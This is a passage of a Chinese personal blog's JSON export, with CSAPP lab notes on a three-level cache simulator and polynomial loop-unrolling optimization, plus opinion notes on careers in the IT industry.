l2ucache[setIndex2][i].valid = true; return; } else { if (l2ucache[setIndex2][i].latest_used \u0026lt; minTimeStamp) { minTimeStamp = l2ucache[setIndex2][i].latest_used; evictIndex = i; } } } // 考虑L2的驱逐 uint64_t evictaddressl2 = addressConcate(l2ucache[setIndex2][evictIndex].tag, setIndex2, L2S, L2B); evictCacheLineFroml2(evictaddressl2, TYPE, false); ++timeStamp; l2ucache[setIndex2][evictIndex].latest_used = timeStamp; l2ucache[setIndex2][evictIndex].dirty = false; l2ucache[setIndex2][evictIndex].tag = tag2; l2ucache[setIndex2][evictIndex].valid = true; } // 把一个内存中的值fetch到l3 void fetchMemoryTol3(uint64_t setIndex3, uint64_t tag3, int TYPE) { int evictIndex = -1; uint64_t minTimeStamp = UINT64_MAX; for (int index = 0; index \u0026lt; L3_LINE_NUM; ++index) { if (!l3ucache[setIndex3][index].valid) { ++timeStamp; l3ucache[setIndex3][index].latest_used = timeStamp; l3ucache[setIndex3][index].dirty = false; l3ucache[setIndex3][index].tag = tag3; l3ucache[setIndex3][index].valid = true; return; } else { if (l3ucache[setIndex3][index].latest_used \u0026lt; minTimeStamp) { minTimeStamp = l3ucache[setIndex3][index].latest_used; evictIndex = index; } } } uint64_t evictAddress = addressConcate(l3ucache[setIndex3][evictIndex].tag, setIndex3, L3S, L3B); evictCacheLineFroml3(evictAddress, TYPE); ++timeStamp; l3ucache[setIndex3][evictIndex].latest_used = timeStamp; l3ucache[setIndex3][evictIndex].dirty = false; l3ucache[setIndex3][evictIndex].tag = tag3; l3ucache[setIndex3][evictIndex].valid = true; } /* 我们先写一个Instruction尝试一下:读取指令 * @params addr 为访问地址，它是trace文件中的地址的十进制表示的结果,64位16进制内存地址 * OK：经过纯I指令检测，这个函数实现的没有问题 */ void instruct(uint64_t addr) { // 先访问第一级Cache,处理addr uint64_t tag1 = (addr \u0026gt;\u0026gt; (L1S + L1B)); uint64_t setIndex1 = ((addr \u0026gt;\u0026gt; L1B) \u0026amp; 0b11); uint64_t tag2 = (addr \u0026gt;\u0026gt; (L2S + L2B)); uint64_t setIndex2 = ((addr \u0026gt;\u0026gt; L2B) \u0026amp; 0b111); uint64_t tag3 = (addr \u0026gt;\u0026gt; (L3S + L3B)); uint64_t setIndex3 = ((addr \u0026gt;\u0026gt; L3B) \u0026amp; 0b1111); // 根据拿到的数据看第一级有没有命中 for (int index = 0; index \u0026lt; L1_LINE_NUM; ++index) { // 合法并且tag相同，就是命中 if (l1icache[setIndex1][index].valid \u0026amp;\u0026amp; l1icache[setIndex1][index].tag == tag1) { // 命中之后的处理 ++timeStamp; ++l1i_hits; l1icache[setIndex1][index].latest_used = timeStamp; return; } } // 到这里证明l1i没有命中,在l2中找 ++l1i_misses; for (int index = 0; index \u0026lt; L2_LINE_NUM; ++index) { // l2中缓存命中 if (l2ucache[setIndex2][index].valid \u0026amp;\u0026amp; l2ucache[setIndex2][index].tag == tag2) { ++timeStamp; l2ucache[setIndex2][index].latest_used = timeStamp; ++l2_hits; fetchl2tol1i(setIndex1, tag1); return; } } // 到这里证明l2没有命中，在l3中找 ++l2_misses; for (int index = 0; index \u0026lt; L3_LINE_NUM; ++index) { // l3缓存命中 if (l3ucache[setIndex3][index].valid \u0026amp;\u0026amp; l3ucache[setIndex3][index].tag == tag3) { ++timeStamp; l3ucache[setIndex3][index].latest_used = timeStamp; ++l3_hits; fetchl3tol2(setIndex2, tag2, INSTRUCTION); fetchl2tol1i(setIndex1, tag1); return; } } // 到这里证明l3没有命中，要从缓存中取值加载到三层里面去 ++l3_misses; // 找要驱逐的L3的地址 fetchMemoryTol3(setIndex3, tag3, INSTRUCTION); fetchl3tol2(setIndex2, tag2, INSTRUCTION); fetchl2tol1i(setIndex1, tag1); // 理论上到这里取值令的过程已经结束 } // 读取数据的问题,读取数据和读取指令是否是类似的 void load(uint64_t addr) { // 先访问第一级Cache,处理addr uint64_t tag1 = (addr \u0026gt;\u0026gt; (L1S + L1B)); uint64_t setIndex1 = ((addr \u0026gt;\u0026gt; L1B) \u0026amp; 0b11); uint64_t tag2 = (addr \u0026gt;\u0026gt; (L2S + L2B)); uint64_t setIndex2 = ((addr \u0026gt;\u0026gt; L2B) \u0026amp; 0b111); uint64_t tag3 = (addr \u0026gt;\u0026gt; (L3S + L3B)); uint64_t setIndex3 = ((addr \u0026gt;\u0026gt; L3B) \u0026amp; 0b1111); // 根据拿到的数据看第一级有没有命中 for (int index = 0; index \u0026lt; L1_LINE_NUM; ++index) { // 合法并且tag相同，就是命中 if (l1dcache[setIndex1][index].valid \u0026amp;\u0026amp; l1dcache[setIndex1][index].tag == tag1) { // 命中之后的处理 ++timeStamp; ++l1d_hits; l1dcache[setIndex1][index].latest_used = timeStamp; return; } } ++l1d_misses; for (int index = 0; index \u0026lt; L2_LINE_NUM; ++index) { // l2中缓存命中 if (l2ucache[setIndex2][index].valid \u0026amp;\u0026amp; l2ucache[setIndex2][index].tag == tag2) { ++timeStamp; l2ucache[setIndex2][index].latest_used = timeStamp; ++l2_hits; fetchl2tol1d(setIndex1, tag1); return; } } // 到这里证明l2没有命中，在l3中找 ++l2_misses; for (int index = 0; index \u0026lt; L3_LINE_NUM; ++index) { // l3缓存命中 if (l3ucache[setIndex3][index].valid \u0026amp;\u0026amp; l3ucache[setIndex3][index].tag == tag3) { ++timeStamp; l3ucache[setIndex3][index].latest_used = timeStamp; ++l3_hits; fetchl3tol2(setIndex2, tag2, DATA); fetchl2tol1d(setIndex1, tag1); return; } } // 到这里证明l3没有命中，要从缓存中取值加载到三层里面去 ++l3_misses; // 找要驱逐的L3的地址 fetchMemoryTol3(setIndex3, tag3, DATA); fetchl3tol2(setIndex2, tag2, DATA); fetchl2tol1d(setIndex1, tag1); } // 重点逻辑：写入内存的实现 // 先fetch这个cacheline，接着才进行改动，我这里成了先改动，再fecth上去，肯定是不行的 // 简单来说，写入操作是不会影响L2和L3的 void store(uint64_t addr) { // 先列出所有可能要访问的数据 uint64_t tag1 = (addr \u0026gt;\u0026gt; (L1S + L1B)); uint64_t setIndex1 = ((addr \u0026gt;\u0026gt; L1B) \u0026amp; 0b11); uint64_t tag2 = (addr \u0026gt;\u0026gt; (L2S + L2B)); uint64_t setIndex2 = ((addr \u0026gt;\u0026gt; L2B) \u0026amp; 0b111); uint64_t tag3 = (addr \u0026gt;\u0026gt; (L3S + L3B)); uint64_t setIndex3 = ((addr \u0026gt;\u0026gt; L3B) \u0026amp; 0b1111); // 写l1d for (int index = 0; index \u0026lt; L1_LINE_NUM; ++index) { // l1d write hit if (l1dcache[setIndex1][index].valid \u0026amp;\u0026amp; l1dcache[setIndex1][index].tag == tag1) { ++l1d_hits; ++timeStamp; l1dcache[setIndex1][index].latest_used = timeStamp; l1dcache[setIndex1][index].dirty = true; return; } } // l1d write misses ++l1d_misses; // 在L2中写 for (int index = 0; index \u0026lt; L2_LINE_NUM; ++index) { // l2 write hit if (l2ucache[setIndex2][index].valid \u0026amp;\u0026amp; l2ucache[setIndex2][index].tag == tag2) { // L2写命中，我先把这个位置加载回l1d，接着才进行dirty的修改，写命中时，首先更改一下lru ++l2_hits; ++timeStamp; l2ucache[setIndex2][index].latest_used = timeStamp; fetchl2tol1d(setIndex1, tag1); for (int i = 0; i \u0026lt; L1_LINE_NUM; ++i) { // 在fetch了之后，此时这里的lru已经发生了改变，所以是不是不用再进行更改? // 应该是的 if (l1dcache[setIndex1][i].valid \u0026amp;\u0026amp; l1dcache[setIndex1][i].tag == tag1) { l1dcache[setIndex1][i].dirty = true; return; } } } } // l2u write misses ++l2_misses; for (int index = 0; index \u0026lt; L3_LINE_NUM; ++index) { // l3 write hit if (l3ucache[setIndex3][index].valid \u0026amp;\u0026amp; l3ucache[setIndex3][index].tag == tag3) { ++l3_hits; ++timeStamp; l3ucache[setIndex3][index].latest_used = timeStamp; fetchl3tol2(setIndex2, tag2, DATA); fetchl2tol1d(setIndex1, tag1); for (int i = 0; i \u0026lt; L1_LINE_NUM; ++i) { if (l1dcache[setIndex1][i].valid \u0026amp;\u0026amp; l1dcache[setIndex1][i].tag == tag1) { l1dcache[setIndex1][i].dirty = true; return; } } } } // l3u write miss,在内存中写，然后直接加载上去，是否正确,显然错误 ++l3_misses; fetchMemoryTol3(setIndex3, tag3, DATA); fetchl3tol2(setIndex2, tag2, DATA); fetchl2tol1d(setIndex1, tag1); // 在fetch完了之后，在set1中找要写的值，接着写入即可 for (int i = 0; i \u0026lt; L1_LINE_NUM; ++i) { if (l1dcache[setIndex1][i].valid \u0026amp;\u0026amp; l1dcache[setIndex1][i].tag == tag1) { l1dcache[setIndex1][i].dirty = true; return; } } } // you are not allowed to modify the declaration of this function /*cacheAccess函数接受三个参数，参数的定义为： * 而且我们不考虑byte的个数，我们这个函数只是模拟访问内存的操作，不实际读写数据 *@params op 为访问类型，是一个char类型的参数，具体取值和trace文件中的类型相同，为[I, S, L，M]其中的一个。 *@params addr 为访问地址，它是trace文件中的地址的十进制表示的结果,64位16进制内存地址 *@params len 为一次访问的长度，也就是字节数量 * 思考过程： * 1.怎么处理地址？要根据不同缓存级别的组数用不同的方式来解读地址么？然后剩下的位都是tag标志 * 2.I是指令加载的过程，和数据读取类似，但是一级缓存中只能从L1I中来读取指令数据 * 3.M修改数据，就是一次Load加上一次Store Load：就是读取 Store：就是写入数据 * 4.代码框架大概是怎样的？一个对应的指令实现一个功能？ */ void cacheAccess(char op, uint64_t addr, uint32_t len) { switch (op) { case \u0026#39;I\u0026#39;: instruct(addr); break; case \u0026#39;M\u0026#39;: load(addr); store(addr); break; case \u0026#39;L\u0026#39;: load(addr); break; case \u0026#39;S\u0026#39;: store(addr); break; default: break; } } ","date":"13 April 2025","externalUrl":null,"permalink":"/csapp/csappcachelab/","section":"","summary":"\u003ch1 class=\"relative group\"\u003eCSAPP:CacheLab \n    \u003cdiv id=\"csappcachelab\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#csappcachelab\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e本次lab分为A和B两部分，我先看情况做，并且会部分引用我校助教撰写的一些内容以及思考题，首先我们要熟悉一下Cache的工作原理，关于这一部分的内容，你也可以看我的ComputerOrgnization中的内容（写的不怎么样，你最好还是看课本，而且我还建议你做一下课本上的习题），A部分是实现一个3级Cache，实现的过程中我们应当会对Cache的工作原理更加熟悉，B部分是优化矩阵转置函数，我认为会教会我们什么是Cahce友好的代码。\u003c/p\u003e\n\u003cp\u003e注意：以下不会从零开始讲述Cache的知识，并且\u003cstrong\u003e不要抄袭，不要抄袭，不要抄袭\u003c/strong\u003e。\u003c/p\u003e\n\u003cp\u003eCache:计算机的世界无处不在的伟大思想\u0026hellip;\u0026hellip;\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e熟悉：\u003c/p\u003e","title":"CSAPP:CacheLab","type":"csapp"},{"content":" CSAPP:OptimizationLab # 本次实验我们来优化一段计算多项式值的代码，并且亲自测量其性能，希望能加深同学们对机器特定优化的理解，同时为同学们提供测量性能的经验。\n基本材料都引用于我校的CSAPP实验指导书页面。\n同时也是考试的复习笔记。\n预习：\n我们代码优化时遇到的问题：\n1.函数调用，不要循环一次调用一次，可以尝试多使用中间变量。\u0026mdash;》代码移动\n2.内存别名，一个内存位置可以被两种名称同时来访问造成问题。\n3.多次调用函数，是否可以直接乘？\n[!WARNING]\n​\t这实际上也是一个相当常见的误区，比如Java的Iterator迭代的时候造成的问题，我们要关注函数具体的内容，函数每次的调用是否会产生一种“持久性”或者“累积性”的影响。\n我们先明确几个概念\nCPE # 处理一个数据元素要多少个时钟周期。\n比如上图，有一个函数对于一个数组的每个元素进行一些重复的操作，那么就可以计算每个元素消耗了多少时钟周期，这就是CPE。\n把数组长度n作为自变量，消耗的cycles作为因变量，那么就可以画出一条曲线，曲线的斜率就是CPE。\nLatency bound # 延迟受限\n如下，当存在数据依赖的时候，计算下一次结果时必须等待上一次计算完毕，这个时间没办法减少，就叫latency bound。\n那么CPE的下界就是一次浮点乘法运算的时间。\ndouble product(double a[], long n) { long i; double x = 1.0; for (i = 0; i \u0026lt; n; ++i) { x *= a[i]; } return x; } Throughput bound # 吞吐受限\n没有依赖的问题，单次进行的用时较短，但是用来并发处理的执行单元较少带来的下界。\n循环展开 # 要突破Latency bound到Throughput bound，就要消除数据依赖的问题。\n2*1展开 # 消除了分支预测，但是还有数据依赖。\nfor (i = 0; i \u0026lt; limit; i+=2) { x = (x OP d[i]) OP d[i+1]; } 2*1a展开 # 这样就使得依赖的路径变短。\n这就是重新结合变换。\nOP为加法的时候是没有作用的。\nfor (i = 0; i \u0026lt; limit; i+=2) { x = x OP (d[i] OP d[i+1]); } 2*2展开 # 这里有两个累积乘积的变量，能让他们在两条流水线上执行。\nfor (i = 0; i \u0026lt; limit; i+=2) { x0 = x0 OP d[i]; x1 = x1 OP d[i+1]; } K*K展开 # 我们可以用这样比较夸张的展开手法，但是当你用的局部变量过多的时候，寄存器就不够用了，内存读写就会成为新的Bound。\ndouble product(double a[], long n) { long i; double acc1 = 1.0; double acc2 = 1.0; double acc3 = 1.0; double acc4 = 1.0; double acc5 = 1.0; double acc6 = 1.0; double acc7 = 1.0; double acc8 = 1.0; double acc9 = 1.0; double acc10 = 1.0; for (i = 0; i + 9 \u0026lt; n; i += 10) { acc1 *= a[i]; acc2 *= a[i + 1]; acc3 *= a[i + 2]; acc4 *= a[i + 3]; acc5 *= a[i + 4]; acc6 *= a[i + 5]; acc7 *= a[i + 6]; acc8 *= a[i + 7]; acc9 *= a[i + 8]; acc10 *= a[i + 9]; } acc1 *= acc2; acc3 *= acc4; acc5 *= acc6; acc7 *= acc8; acc9 *= acc10; acc1 *= acc3; acc5 *= acc7; for (; i \u0026lt; n; ++i) { acc9 *= a[i]; } return acc1 * acc5 * acc9; } PartA:性能测量实验 # void poly(const double a[], double x, long degree, double *result) { long i; double r = a[degree]; for (i = degree - 1; i \u0026gt;= 0; i--) { r = a[i] + r * x; } *result = r; } 这是用秦九韶算法实现了求一个函数在某个点处的值的功能。\n我想测量这个函数的CPE。\n我们能使用的函数有很多，最推荐的是clock_gettime，它可以精确到纳秒级（至少单位是纳秒级），并且可以选取不同的时钟源。\n注意：在测量这个函数用时多少的时候，最好在一开始首先执行一遍你要测量的函数，这样cache中会存放这些调用时要使用的数据，不会引发大量的cachemiss引入不必要的噪声。\n代码很简单：\nvoid measure_time(poly_func_t poly, const double a[], double x, long degree, double *time) { double result = 0; poly(a, x, degree, \u0026amp;result); struct timespec start, end; clock_gettime(CLOCK_MONOTONIC, \u0026amp;start); poly(a, x, degree, \u0026amp;result); clock_gettime(CLOCK_MONOTONIC, \u0026amp;end); (*time) = end.tv_nsec - start.tv_nsec; } PartB：代码优化实验 # 针对于上面的这个多项式算法，我们有什么优化的方法，我想大概也就是循环展开之类的，来试试看!\n我们的目的是要把这个函数的CPE降低到1。\n我们根据现有的代码进行了一个更改，对于原函数进行12*12的循环展开。\nvoid poly_optim(const double a[], double x, long degree, double *result) { // 此时和秦九公式已经没有关系了，我们想办法最快算出答案即可。 double acc[12]; double xpow[13]; // 记录系数 acc[0] = a[degree]; acc[1] = a[degree - 1]; acc[2] = a[degree - 2]; acc[3] = a[degree - 3]; acc[4] = a[degree - 4]; acc[5] = a[degree - 5]; acc[6] = a[degree - 6]; acc[7] = a[degree - 7]; acc[8] = a[degree - 8]; acc[9] = a[degree - 9]; acc[10] = a[degree - 10]; acc[11] = a[degree - 11]; // 使用x的哪些幂 xpow[2] = x * x; xpow[3] = xpow[2] * x; xpow[4] = xpow[3] * x; xpow[5] = xpow[4] * x; xpow[6] = xpow[5] * x; xpow[7] = xpow[6] * x; xpow[8] = xpow[7] * x; xpow[9] = xpow[8] * x; xpow[10] = xpow[9] * x; xpow[11] = xpow[10] * x; xpow[12] = xpow[6] * xpow[6]; // 从倒数12个开始向前进行累积 int index = degree - 12; // int index = degree - 10; while (index \u0026gt;= 11) { acc[0] = a[index] + acc[0] * xpow[12]; acc[1] = a[index - 1] + acc[1] * xpow[12]; acc[2] = a[index - 2] + acc[2] * xpow[12]; acc[3] = a[index - 3] + acc[3] * xpow[12]; acc[4] = a[index - 4] + acc[4] * xpow[12]; acc[5] = a[index - 5] + acc[5] * xpow[12]; acc[6] = a[index - 6] + acc[6] * xpow[12]; acc[7] = a[index - 7] + acc[7] * xpow[12]; acc[8] = a[index - 8] + acc[8] * xpow[12]; acc[9] = a[index - 9] + acc[9] * xpow[12]; acc[10] = a[index - 10] + acc[10] * xpow[12]; acc[11] = a[index - 11] + acc[11] * xpow[12]; index -= 12; } // 处理剩下没有计算到的部分 long remain = (degree + 1) % 12; long rest_index = remain; double remainValue = 0; while (rest_index \u0026gt; 0) { remainValue *= x; remainValue += a[rest_index - 1]; --rest_index; } //相当于是一种位移,先把他们之间分开 double remain1 = acc[0] * xpow[11]; double remain2 = acc[1] * xpow[10]; double remain3 = acc[2] * xpow[9]; double remain4 = acc[3] * xpow[8]; double remain5 = acc[4] * xpow[7]; double remain6 = acc[5] * xpow[6]; double remain7 = acc[6] * xpow[5]; double remain8 = acc[7] * xpow[4]; double remain9 = acc[8] * xpow[3]; double remain10 = acc[9] * xpow[2]; double remain11 = acc[10] * x + acc[11]; double mainPart = remain1 + remain2 + remain3 + remain4 + remain5 + remain6 + remain7 + remain8 + remain9 + remain10 + remain11; //接着整体向后移位 index = 0; //----------------------------------------------------------------------------------------------------------- // //\t这里我有一个惨痛的教训： //\t我一开始很长时间把下边循环的限制量写成了rest_index,但是rest_index在上面早就减为0,循环不会再继续 //\t而这里对于答案造成的影响本来就非常非常小，导致我认为是上面的乘法和加法的精度上出了问题，于是浪费了很多时间在更改分块大小观察精度上 //\t直到最后才看到这里出了问题：写的代码再多，有时也会犯这样的错误 //\t1.务必起一个好的变量名，让人知道在干嘛，哪怕是简单的程序 //\t2.想清楚自己在写什么东西，如果是限制量，搞清楚它的大小 // //----------------------------------------------------------------------------------------------------------- while(index \u0026lt; remain){ mainPart *= x; ++index; } (*result) = remainValue + mainPart; } 思考问题： # 为什么这样更改这个函数的CPE就是1？我就是自己随便想一下，你可以把你的见解放在评论区，说实话我也想不清楚\u0026hellip;\u0026hellip;\n1.如果使用 poly() 同时计算多项式在两个x处的值，运行时间如何？14个值呢？需要计算 14 个值时，使用一次 poly() 同时计算快，还是调用14次 poly_optim() 快？\nvoid poly(const double a[], double x[], long degree, double result[], int n) { long i; double r[n]; memset(r, a[degree]); for (i = degree - 1; i \u0026gt;= 0; i--) { r[0] = a[i] + r[0] * x; r[1] = a[i] + r[1] * x; } for (int index = 0; index \u0026lt; n; ++index){ result[index] = r[index]; } } Q：可能是把参数作为一个数组传入poly()进行计算，在poly中传入一个x数组，还是只有一个循环的情况下，我们进行计算（大概就是上面这个意思），同时计算两个的时候，应该比调用两次poly计算更快，但没有解决依赖的问题。我觉得在degree比较高的时候，是否还是调用14次函数更快。\n2.为什么优化后的函数 CPE 是 1 而不是 0.5，性能瓶颈在哪里?\nQ：1.o对于这个函数来说是否已经是理论峰值？\n以下是优化生成的汇编代码：\n.arch armv8-a .file\t\u0026#34;poly.c\u0026#34; .text .align\t2 .global\tpoly_optim .type\tpoly_optim, %function poly_optim: .LFB0: .cfi_startproc stp\td8, d9, [sp, -64]! .cfi_def_cfa_offset 64 .cfi_offset 72, -64 .cfi_offset 73, -56 stp\td10, d11, [sp, 16] stp\td12, d13, [sp, 32] str\td14, [sp, 48] .cfi_offset 74, -48 .cfi_offset 75, -40 .cfi_offset 76, -32 .cfi_offset 77, -24 .cfi_offset 78, -16 mov\tx5, x0 ldr\td24, [x0, x1, lsl 3] add\tx0, x0, x1, lsl 3 ldr\td23, [x0, -8] ldr\td22, [x0, -16] ldr\td21, [x0, -24] ldr\td20, [x0, -32] ldr\td19, [x0, -40] ldr\td18, [x0, -48] ldr\td17, [x0, -56] ldr\td16, [x0, -64] ldr\td7, [x0, -72] ldr\td6, [x0, -80] ldr\td5, [x0, -88] ldr\td4, [x0, -96] ldr\td3, [x0, -104] ldr\td26, [x0, -112] fmul\td27, d0, d0 fmul\td28, d27, d0 fmul\td29, d28, d0 fmul\td30, d29, d0 fmul\td31, d30, d0 fmul\td8, d31, d0 fmul\td9, d8, d0 fmul\td10, d9, d0 fmul\td11, d10, d0 fmul\td12, d11, d0 fmul\td13, d12, d0 fmul\td14, d13, d0 fmul\td2, d14, d0 fmul\td1, d2, d0 sub\tw4, w1, #15 cmp\tw4, 13 ble\t.L2 add\tx3, x5, w4, sxtw 3 .L3: fmul\td24, d1, d24 ldr\td25, [x3] fadd\td24, d24, d25 fmul\td23, d1, d23 ldr\td25, [x3, -8] fadd\td23, d23, d25 fmul\td22, d1, d22 ldr\td25, [x3, -16] fadd\td22, d22, d25 fmul\td21, d1, d21 ldr\td25, [x3, -24] fadd\td21, d21, d25 fmul\td20, d1, d20 ldr\td25, [x3, -32] fadd\td20, d20, d25 fmul\td19, d1, d19 ldr\td25, [x3, -40] fadd\td19, d19, d25 fmul\td18, d1, d18 ldr\td25, [x3, -48] fadd\td18, d18, d25 fmul\td17, d1, d17 ldr\td25, [x3, -56] fadd\td17, d17, d25 fmul\td16, d1, d16 ldr\td25, [x3, -64] fadd\td16, d16, d25 fmul\td7, d1, d7 ldr\td25, [x3, -72] fadd\td7, d7, d25 fmul\td6, d1, d6 ldr\td25, [x3, -80] fadd\td6, d6, d25 fmul\td5, d1, d5 ldr\td25, [x3, -88] fadd\td5, d5, d25 fmul\td4, d1, d4 ldr\td25, [x3, -96] fadd\td4, d4, d25 fmul\td3, d1, d3 ldr\td25, [x3, -104] fadd\td3, d3, d25 fmul\td26, d1, d26 ldr\td25, [x3, -112] fadd\td26, d26, d25 sub\tw4, w4, #15 sub\tx3, x3, #120 cmp\tw4, 13 bgt\t.L3 .L2: add\tx3, x1, 1 mov\tx1, -8608480567731124088 movk\tx1, 0x8889, lsl 0 smulh\tx1, x3, x1 add\tx1, x1, x3 asr\tx1, x1, 3 sub\tx0, x1, x3, asr 63 lsl\tx1, x0, 4 sub\tx0, x1, x0 sub\tx0, x3, x0 cmp\tx0, 0 ble\t.L8 mov\tx1, x0 movi\td25, #0 sub\tx3, x5, #8 .L5: fmul\td25, d0, d25 ldr\td1, [x3, x1, lsl 3] fadd\td25, d25, d1 subs\tx1, x1, #1 bne\t.L5 .L4: fmul\td1, d2, d24 fmul\td14, d14, d23 fadd\td1, d1, d14 fmul\td13, d13, d22 fadd\td1, d1, d13 fmul\td12, d12, d21 fadd\td1, d1, d12 fmul\td11, d11, d20 fadd\td1, d1, d11 fmul\td10, d10, d19 fadd\td1, d1, d10 fmul\td9, d9, d18 fadd\td1, d1, d9 fmul\td8, d8, d17 fadd\td1, d1, d8 fmul\td31, d31, d16 fadd\td1, d1, d31 fmul\td30, d30, d7 fadd\td1, d1, d30 fmul\td29, d29, d6 fadd\td1, d1, d29 fmul\td28, d28, d5 fadd\td1, d1, d28 fmul\td27, d27, d4 fadd\td1, d1, d27 fmul\td3, d0, d3 fadd\td3, d3, d26 fadd\td1, d1, d3 cmp\tx0, 0 ble\t.L6 mov\tw1, 0 .L7: fmul\td1, d1, d0 add\tw1, w1, 1 cmp\tw1, w0 bne\t.L7 .L6: fadd\td25, d25, d1 str\td25, [x2] ldp\td10, d11, [sp, 16] ldp\td12, d13, [sp, 32] ldr\td14, [sp, 48] ldp\td8, d9, [sp], 64 .cfi_remember_state .cfi_restore 73 .cfi_restore 72 .cfi_restore 78 .cfi_restore 76 .cfi_restore 77 .cfi_restore 74 .cfi_restore 75 .cfi_def_cfa_offset 0 ret .L8: .cfi_restore_state movi\td25, #0 b\t.L4 .cfi_endproc .LFE0: .size\tpoly_optim, .-poly_optim .align\t2 .global\tmeasure_time .type\tmeasure_time, %function 全部都是寄存器操作已经避免了内存读写的开销，我们也没有更多的乘法处理单元？\n问题：SIMD化是什么？\n","date":"10 April 2025","externalUrl":null,"permalink":"/csapp/csappoptimizationlab/","section":"","summary":"\u003ch1 class=\"relative group\"\u003eCSAPP:OptimizationLab \n    \u003cdiv id=\"csappoptimizationlab\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#csappoptimizationlab\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e本次实验我们来优化一段计算多项式值的代码，并且亲自测量其性能，希望能加深同学们对机器特定优化的理解，同时为同学们提供测量性能的经验。\u003c/p\u003e\n\u003cp\u003e基本材料都引用于我校的CSAPP实验指导书页面。\u003c/p\u003e\n\u003cp\u003e同时也是考试的复习笔记。\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e\u003cstrong\u003e预习：\u003c/strong\u003e\u003c/p\u003e","title":"CSAPP:OptimizationLab","type":"csapp"},{"content":" 本期封面是《響け！ユーフォニアム》配角之一，中川夏纪，声音真的很好听，听说这个动漫到《利兹与青鸟》就完结了来着（？）\n关于IT行业的看法（IT另解笔记） # 1.学历在CS的行业不会成为任何优势（但是它重要），过硬的技术和能力才是，记清楚这一点，才不会盲目。请勿再将未来的希望寄托在你所在的学校身上了，你的一切，你的兴趣，都要自己费力去追寻\u0026hellip;\u0026hellip;\n2.Caution!本篇博文是强烈带有主观意见的意识流笔记，部分观点可能跟不上时代（2021年），并且不代表笔者的全部观点，但是希望能对于在校的尚对于目标不明确的学生带来一些帮助，视频来源（https://space.bilibili.com/19658621），顺带推荐一下他的C语言视频，如果你还没有学过，或者已经工作但是有进一步理解的需要，学习一下这个视频，会颠覆你对于POP编程的认知。\n3.随着我个人的阅历和经验的增长，我会不断更新这个文章的内容，直到它能够替代我对于这个行业的全部看法而不是简单的视频笔记，我个人的看法就是纯主观的，一个人或者一个组织都不可能给出所谓的“纯粹理性客观”这样的观点，如果真的是这样，那么很多历史怎么会被改写？总之，希望能帮助到你一点的同时也能满足我的分享欲。\n要明确的几个点 # 专业不是职业。\n比赛有什么用？没用\n企业合作类比赛 （目的是为了赚钱）\n对自己有没有提升 占不占时间\n不耽误时间 顺带拿奖可以去\n关键是通用技术的掌握 进实验室？为优秀的学生提供好的资源\n自行斟酌！！！ACM大赛（高中没学过的话，感觉大学很难融入，人家一开始就形成小圈子，要么就是你一开始就真的很感兴趣，然后花大量的时间去学习相关内容，也可以，主动一点才会有故事。）\n教育的目的不是诺奖，体育的目的不是金牌。\n切莫相信个人的经验判断：\n没有人可以被模仿 人只能塑造自己的人生\n人只能关注自己的人生。\n如果绩点都变成了一种值得骄傲与吹嘘的东西，那么，你的大学都学到了什么，你和备战高考的高中生又有什么区别，搞清楚这一点，学到东西，理解到东西，别你绩点高的人，在对于知识的理解上，可能还远远不如你。（这是真的）\n少听故事 多听现实和分析问题的方法 少关注别人的经历\n没有人能够准确地预测未来。\n对于后端程序员来说，计算机网络以及操作系统的理论是否重要。（应对面试）\n操作系统理论：尽可能去理解，值得深度学习。（深度了解操作系统）\n（数据结构本后的本质）\n教材只具有参考的意义，只有辅助的作用。看论文，有突破性的操作系统，前沿，作为后端的底盘。\n大二大三，实习？ # 校园招聘，针对于实习生（Microsoft，Google）申请实习，尽可能走校招（因为我没有什么经验） 社会招聘：有经验的人。 项目是很难的，产品，设计师，用户，开发流程，团队协作精神。。。项目有多少人在用？迭代版本？（工作当中的实际问题，开发的过程，称之为项目和经验，进入企业，才算社会的经验。）\n校园招聘： 良好的通用技术基础。\n\u0026amp;实习生入职一般会被分配什么样的工作。（技术底层越强，任务越核心）\n大厂 中小厂（有可能直接安排到核心职位，有可能没有考核）\nPS: 普通编程任务 小模块 （协作开发）目的：了解公司的开发流程\n培养实际项目经验 技术支持类（协助测试）\nIT类出国学习 # 要不要留学？经济基础 美国太贵 日本 新加坡 英国1.5年（50W）\n不错的经历 留在外面，能不能拿到国家的绿卡？是否会被迫回国。\n奖学金 保研 值不值得？ # 能拿就拿，拿不了拉倒。 （目标是为了获得知识）\n保研 概率问题 不要盲目追求 真正需要研究生的人不需要保研，为什么保研？\n没有清楚自己的人生目的，我不知道研究生有什么用，先保研吧？？？\n自己不知道自己在干什么，嫉妒心，想尽办法争取保研的名额。争取攀登更高山峰的人，反而更能留下保研的可能，有目标的人，不会拘泥于此。\nIT行业的学历重不重要 # 学历很重要，能力很强，不需要学历（另说）\n有着学历的下限就可以（本科）技术上限\n工作好，是因为进的企业好，不是因为学历高。在什么公司担任什么样的工作，薪资和工作不是由学历决定的，是由公司决定的。\nIT技术的发展迭代问题 # 进化论，自然选择学说，没有什么东西是绝对稳定的，没有绝对稳定的工作。\n按键机——》触屏手机 国产手机 全部 系统基于Android系统\n（包括鸿蒙（Harmony OS）系统，基于Android系统，因其开源）\n渐变式的进化 对于技术来说是一样的 Microsoft Typescript基于Javascript\n所以要学习通用技术。（java py go c?）都是工具而已，类似物种间的竞争。\n都是面向对象的思想\n（误区：最多的东西不一定是趋势，很少人能够预料到趋势，流行不是趋势。）\nInter IMD Microsoft和Mac OS 滚轮不相同，形成差异化。C#\n物种的分化，苹果电脑-苹果-Mac 